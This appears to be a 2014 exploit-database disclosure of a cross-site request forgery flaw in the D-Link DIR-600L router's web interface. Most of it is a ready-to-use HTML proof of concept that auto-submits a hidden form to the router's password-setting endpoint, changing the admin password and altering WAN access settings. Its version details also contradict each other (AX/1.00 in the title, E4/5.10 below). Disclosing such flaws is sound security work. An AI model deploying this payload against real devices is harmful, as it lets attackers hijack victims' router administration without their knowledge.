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# Exploit Title: Dlink DIR-600L Hardware Version AX Firmware Version 1.00
CSRF Vulnerability
# Google Dork: N/A
# Date: 20/03/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage:
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-600l-wireless-n-150-home-cloud-router
# Software Link: N/A
# Hardware Version:E4

# Firmware Version:5.10
# Tested on: Router Web Server
# CVE : N/A

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 Cross Site Request Forgery



This Modem's Web Application , suffers from Cross-site request forgery

through which attacker can manipulate user data via sending him malicious

craft url.



The Modems's Application  not using any security token to prevent it

against CSRF. You can manipulate any userdata. PoC and Exploit to change

user password:


In the POC the IP address in the POST is the modems IP address.

<html>

  <body>
    <form id ="poc" action="http://192.168.0.1/goform/formSetPassword"
method="POST">
      <input type="hidden" name="settingsChanged" value="1" />
      <input type="hidden" name="config.login_name" value="admin" />
      <input type="hidden" name="config.password" value="YWRtaW4A" />
      <input type="hidden"
name="config.web_server_allow_graphics_auth"
value="false" />
      <input type="hidden"
name="config.web_server_allow_wan_http" value="false" />
      <input type="hidden"
name="config.web_server_wan_port_http" value="8080" />
      <input type="hidden"
name="config.wan_web_ingress_filter_name" value="" />
      <input type="hidden" name="wan_ingress_filter_details"
value="" />
    </form>
  </body>
    <script type="text/javascript">
document.getElementById("poc").submit();
</script>

</html>


______________________

*Dhruv Shah* *aka Snypter*

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